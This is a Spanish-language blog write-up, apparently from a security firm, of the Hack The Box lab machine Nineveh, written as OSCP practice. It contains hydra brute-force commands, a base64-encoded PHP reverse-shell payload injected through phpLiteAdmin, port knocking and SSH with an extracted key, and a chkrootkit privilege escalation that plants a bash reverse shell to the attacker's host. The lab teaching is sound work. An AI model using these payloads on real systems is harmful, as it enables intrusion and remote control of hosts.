Road to OSCP - Hack The Box Write Up - Nineveh

Blog

5
- Sept
2019
Road to OSCP - Hack The Box Write Up - Nineveh

Hack the Box es una plataforma en línea para probar y mejorar tus habilidades en pruebas de penetración y ciberseguridad.

En esta serie de artículos mostraremos cómo los evaluadores junior completan algunas máquinas de Hack The Box en su camino hacia OSCP, una certificación muy conocida, respetada y requerida para muchos puestos de ciberseguridad. Los certificados OSCP son capaces de identificar las vulnerabilidades existentes y ejecutar ataques organizados de manera controlada. Pueden aprovechar o modificar el código de exploits existentes en su beneficio, realizar pivoting en la red y exfiltrar datos, y comprometer los sistemas debido a configuraciones deficientes.

¡Empecemos con la diversión!

Nineveh

Initial Foothold

Usando Gobuster en el puerto 80, encontramos un login en 10.10.10.43/department.

De los mensajes de error, podemos ver que admin es un nombre de usuario válido, como si escribiéramos uno diferente. dice Invalid Username.

Mirando el código fuente, vemos que está usando MySQL.

Yendo a la página HTTPS en el puerto 443 y mirando el certificado vemos un nombre de host: Nineveh.htb. Sólo redirige a la página web en el puerto 80.

Usando Gobuster en el puerto 443, encontramos un login en https://10.10.10.43/db.

Bruteforce

Podemos intentar forzar los inicios de sesión:

  1. hydra -P /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt 10.10.10.43 http-post-form '/department/login.php:username=^USER^&password=^PASS^:invalid' -l admin -f
  2. hydra -P /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt 10.10.10.43 https-post-form '/db:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect' -l admin -f

Credenciales para el ingreso a Http: admin:1Q2W3E4R5T. La contraseña para el login de https es: password123.

Hay un exploit para phpLiteAdmin searchsploit phpliteadmin: 24044.txt.

Parece que si creamos una base de datos con una extensión php, podemos ejecutar código a partir de ella. Para acceder a la base de datos, podemos usar el servidor http que parece que tiene acceso a los archivos del sistema. Es también parece que falla en cuanto el nombre no coincide con NinevehNotes, así que tenemos que nombrar a nuestro base de datos algo que contiene ese nombre.

  1. Necesitamos crear una base de datos que contenga el nombre NinevehNotes y que tenga un php por ejemplo: NinevehNotes_test.php.
  2. Crear una tabla con cualquier nombre.
  3. Crear un nuevo campo texto dentro de la tabla. Pega lo siguiente como el nombre del campo (también funciona como valor por defecto): <?php system("echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zMS8xMjM0NSAwPiYxJw== | base64 -d | bash");?>
  4. Configura un puerto escucha: ncat lnvp 12345.
  5. Desde el sitio http, visita: 10.10.10.43/department/manage.php?notes=/var/tmp/ninevehNotes_test.php.

Nota: Este payload codificado en base64 contiene un shell bash inverso para 10.10.14.31:12345. Para generar un nuevo payload simplemente haz: echo -n "bash -c 'bash -i >& /dev/tcp/10.10.14.31/12345' | base64".

User

Después de ejecutar lse.sh, vemos que podemos leer var/mail/amrois:

From root@nineveh.htb  Fri Jun 23 14:04:19 2017
Return-Path: <root@nineveh.htb>
X-Original-To: amrois
Delivered-To: amrois@nineveh.htb
Received: by nineveh.htb (Postfix, from userid 1000)
        id D289B2E3587; Fri, 23 Jun 2017 14:04:19 -0500 (CDT)
To: amrois@nineveh.htb
From: root@nineveh.htb
Subject: Another Important note!
Message-Id: <20170623190419.D289B2E3587@nineveh.htb>
Date: Fri, 23 Jun 2017 14:04:19 -0500 (CDT)

Amrois! please knock the door next time! 571 290 911

Parece que tenemos que hacer un port knocking. Para esto podemos usar la herramienta knock, que viene incluida... con el demonio knockd: knock 10.10.10.43 571:tcp 290:tcp 911:tcp && ssh amrois@10.10.10.43

No tenemos acceso, necesitamos una llave ssh.

CTF Nonsense

Husmeando en los directorios nos encontramos con un nombre peculiar: /var/www/ssl/secure_notes. Navegando hacia él obtenemos una imagen gigante.

Descargue la imagen: wget https://nineveh.htb/secure_notes/nineveh.png --no-check-certificate. Extraer las cosas ocultas: binwalk -e nineveh.png. Obtenemos una llave privada y una pública.

Ahora podemos entrar:

  1. mod +600 nineveh.priv.
  2. knock 10.10.10.43 571:tcp 290:tcp 911:tcp && ssh -i nineveh.priv amrois@10.10.10.43

Root

Mirando a nuestro alrededor encontramos que tenemos acceso de escritura sobre un script de shell: /usr/sbin/report-reset.sh. Lo que nos lleva a una extraña carpeta /report.

Dentro de esta carpeta, hay algunos archivos de texto con contenidos extraños. Buscando en Google una de las líneas da nos da la respuesta: es la producción de chkrootkit.

Usando searchsploit encontramos un exploit de escalada de privilegios: searchsploit -m 33899.txt.

Siguiendo las instrucciones, creamos el archivo /tmp/update con el siguiente contenido:

#!/bin/bash
bash -i >& /dev/tcp/10.10.14.31/7777 0>&1

Establecemos permisos de ejecución: chmod +x /tmp/update y configura el puerto oyente: ncat -lnvp 7777. Desde aquí, sólo espera a que aparezca la shell. El archivo debe ser ejecutado cada minuto.

Ángel Guzmán/Evaluador Junior

Grado y Master en Ingeniería de Tecnologías de Telecomunicación por la Universidad de Granda, especializado en telématica. Se unió a jtsec en noviembre de 2019 como evaluador de ciberseguridad Junior.

Desde su unión a jtsec, ha participado en varios proyectos internos de hardware hacking y ha recibido formación sobre la certificación LINCE.

Su principal motivación es aprender, desde pequeñas herramientas para su trabajo diario hasta nuevas tecnologías.


Contacto

¡Envíanos tus dudas o sugerencias!

Al enviar tus datos nos permites que los usemos para resolver tus dudas enviándote información comercial de tu interés. Los suprimiremos cuando dejen de ser necesarios para esto. Infórmate de tus derechos en nuestra Política de Privacidad.